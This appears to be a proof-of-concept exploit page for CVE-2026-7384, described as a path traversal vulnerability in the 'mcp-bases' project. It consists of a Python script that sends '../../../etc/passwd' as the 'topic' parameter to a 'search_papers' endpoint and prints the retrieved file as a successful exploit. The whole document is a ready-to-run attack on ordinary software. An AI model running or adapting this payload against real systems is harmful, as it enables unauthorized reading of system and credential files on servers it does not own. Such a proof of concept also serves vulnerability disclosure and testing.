CVE-2026-7384 ezequiroga mcp-bases 路径遍历漏洞

import requests # Example target URL (replace with actual vulnerable endpoint) target_url = "http://localhost:8000/search_papers" # Malicious payload to traverse to /etc/passwd # The function 'search_papers' takes 'topic' argument payload = { "topic": "../../../etc/passwd" } try: # Sending the request to the vulnerable endpoint response = requests.get(target_url, params=payload) # Checking if the exploit was successful if response.status_code == 200: print("[+] Exploit successful! Sensitive file content retrieved:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")